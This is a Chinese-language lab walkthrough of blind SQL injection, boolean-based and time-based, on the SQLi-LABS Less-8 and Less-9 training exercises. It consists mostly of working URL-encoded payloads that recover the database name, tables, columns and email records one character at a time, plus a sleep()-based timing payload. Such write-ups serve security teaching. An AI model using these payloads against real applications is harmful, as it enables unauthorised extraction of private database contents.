sql注入盲注

• 1.布尔型盲注（以SQLi-LABS Page-1(Basic Challenges) less8 为例子）

• 1.首先判断数据库有多少位

在这里插入图片描述

大于7是成立的

大于8是报错的
所以数据库是8位

?id=0%27%20or%20length(database())>8%20--+

然后再查数据库名字
在这里插入图片描述
经过不断的尝试发现115是没有报错的所以第一个字母就是115对应的ascii码就是s

一个字母一个字母的试下去发现得到的是security这个数据库

?id=0%27%20or%20ascii(substr((select%20database()),2,1))=101%23

然后就是查表

?id=0%27%20or%204%20=%20(SELECT%20count(TABLE_NAME)%20FROM%20INFORMATION_SCHEMA.TABLES%20where%20TABLE_SCHEMA%20=%20database())--+

等于4的时候有回显等于其他的没有回显所以有4个表

?id=0%27%20or%20ascii(substr((SELECT%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.tables%20where%20TABLE_SCHEMA%20=%27security%27%20limit%200,1),1,1))%20=101--+

同样的道理得到表emails

和上面一样找字段的长度发现2回显3不回显得到字段的长度是2

?id=0%27%20or%202=(SELECT%20count(column_name)%20FROM%20INFORMATION_SCHEMA.columns%20where%20TABLE_SCHEMA=database()%20and%20table_name=%27emails%27)--+

再找出字段的名字

?id=0%27%20or%20ascii(substr((SELECT%20column_name%20FROM%20INFORMATION_SCHEMA.columns%20where%20TABLE_SCHEMA%20=%27security%27%20and%20table_name%20=%20%27emails%27%20limit%200,1),1,1))>60--+

不断调试找出字段名id

再找字段的内容和之前一样一步一步的找

?id=0%27%20or%20ascii(substr((SELECT%20`email_id`%20from%20security.emails%20limit%202,1),1,1))>65--+

得到这些即可

• 2 时间盲注（以SQLi-LABS Page-1(Basic Challenges) less9 为例子）

?id=0' or If(ascii(substr(database(),1,1))=115,sleep(5),0)--+

如果有时间延迟那就是对的如果错误就没有延迟

只需在前面加个if其他的语句和布尔型盲注类似(这里就不过多介绍)